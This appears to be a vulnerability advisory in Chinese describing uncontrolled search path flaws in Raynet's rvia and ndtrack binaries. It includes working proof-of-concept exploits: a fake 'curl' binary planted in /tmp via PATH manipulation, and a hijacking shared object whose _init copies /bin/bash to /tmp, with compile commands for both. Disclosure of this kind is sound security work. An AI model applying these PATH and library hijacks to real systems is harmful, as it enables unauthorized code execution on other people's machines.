Raynet 中的 rvia 存在一个 不受控制的搜索路径元素 问题。在加载共享对象和调用系统二进制文件(例如 .so 和辅助二进制文件)时,它们都使用相对路径进行调用,这使得用户可以通过 PATH 环境变量操作来篡改最终执行的二进制文件或 .so 对象。

在以下证据中,在 /tmp 目录下创建了一个名为 curl 的任意二进制文件。
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # 编译二进制文件
修改 PATH 变量,使得当 rvia 调用 curl 命令时,首先搜索的目录是 /tmp。
export PATH=/tmp:$PATH
之后,调用 /opt/rvia/rvia getconfig 将使用我们篡改过的 curl 二进制文件。

upload 选项也存在同样的问题。

使用 rvia inventory 选项时也存在同样的问题,该选项底层会调用 ndtrack 二进制文件。ndtrack 二进制文件通过相对路径调用 cat 和 sh 命令。


最后,还检测到 ndtrack 二进制文件包含共享对象 .so 文件 时使用了相对路径。

在以下证据中,可以看到替换对 libnetselector.so(同样可以对 libuploader.so 执行相同操作)的相对调用的步骤。在此示例中,创建了一个自定义共享对象,当该共享对象被加载时,会在 /tmp 目录下创建 /bin/bash 的一个副本,命名为 bash_so_hijack。
以下是创建自定义共享对象 libnetselector.so 的 C 代码:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # 编译共享对象

需要注意的是,这仅在直接调用 ndtrack 时有效,因为当调用 inventory 选项时,会执行位于 /opt/rvia 下名为 ndtrack 的 bash 脚本,该脚本在调用 ndtrack 二进制文件之前会设置 PATH 环境变量。
